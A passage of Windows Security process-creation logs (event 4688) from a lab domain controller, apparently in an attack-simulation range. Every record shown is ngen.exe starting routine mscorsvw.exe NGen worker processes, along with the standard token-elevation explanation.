Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a54 -InterruptEvent 0 -NGENProcess ae0 -Pipe ab8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:00 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255362 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe64 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent af4 -InterruptEvent 0 -NGENProcess aec -Pipe a5c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255372 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x12e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ae4 -InterruptEvent 0 -NGENProcess b08 -Pipe b14 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255371 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe94 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b00 -InterruptEvent 0 -NGENProcess b08 -Pipe b04 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255370 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x118c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent afc -InterruptEvent 0 -NGENProcess ae4 -Pipe af8 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255369 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xa48 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a54 -InterruptEvent 0 -NGENProcess ae4 -Pipe 930 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255368 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe50 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ac4 -InterruptEvent 0 -NGENProcess ae4 -Pipe ab0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:01 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255367 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10f4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a80 -InterruptEvent 0 -NGENProcess ae4 -Pipe a44 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255374 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9b4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess ac0 -Pipe ac4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:02 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255373 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1248 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a48 -InterruptEvent 0 -NGENProcess ac0 -Pipe af0 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255384 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb44 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent 9c0 -InterruptEvent 0 -NGENProcess ae4 -Pipe b3c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255383 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1228 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a48 -InterruptEvent 0 -NGENProcess ae4 -Pipe b38 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255382 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e4 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b24 -InterruptEvent 0 -NGENProcess ae4 -Pipe b20 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255381 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1268 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent b30 -InterruptEvent 0 -NGENProcess ae4 -Pipe b34 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255380 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb8c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a80 -InterruptEvent 0 -NGENProcess ae4 -Pipe b2c -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255379 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x10e8 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent ae4 -InterruptEvent 0 -NGENProcess b18 -Pipe aa4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255378 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x138c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a80 -InterruptEvent 0 -NGENProcess b18 -Pipe afc -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255377 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1168 - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent aa4 -InterruptEvent 0 -NGENProcess a90 -Pipe b00 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/12/2021 12:10:03 AM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=255376 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: NT AUTHORITY\SYSTEM - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E7 - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x116c - New Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\System Mandatory Level - Creator Process ID: 0xff0 - Creator Process Name: C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe -StartupEvent a90 -InterruptEvent 0 -NGENProcess ac0 -Pipe af4 -Comment "NGen Worker Process" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose 